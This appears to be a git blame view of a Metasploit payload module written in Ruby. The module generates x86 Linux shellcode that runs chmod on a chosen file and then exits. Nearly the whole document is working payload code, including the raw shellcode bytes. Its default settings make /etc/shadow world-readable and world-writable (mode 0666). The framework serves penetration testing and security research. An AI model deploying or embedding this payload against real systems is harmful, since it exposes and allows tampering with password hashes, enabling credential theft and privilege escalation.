Files
metasploit-gs/modules/payloads/singles/linux/x86/chmod.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

46 lines
1.2 KiB
Ruby
Raw Normal View History

2010-05-03 17:13:09 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-05-03 17:13:09 +00:00
##
2008-03-10 21:21:51 +00:00
###
# Linux Chmod(file, mode)
#
# Kris Katterjohn - 03/03/2008
###
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = 36
2008-03-10 21:21:51 +00:00
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on specified file with specified mode',
2009-04-03 15:05:35 +00:00
'Author' => 'kris katterjohn',
2008-03-10 21:21:51 +00:00
'License' => BSD_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86))
register_options(
[
OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
])
2008-03-10 21:21:51 +00:00
end
# Dynamically generates chmod(FILE, MODE) + exit()
def generate(opts={})
2008-03-10 21:21:51 +00:00
file = datastore['FILE'] || '/etc/shadow'
mode = (datastore['MODE'] || "0666").oct
payload =
"\x99\x6a\x0f\x58\x52" +
Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
"\x5b" + Rex::Arch::X86.push_dword(mode) +
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
end
end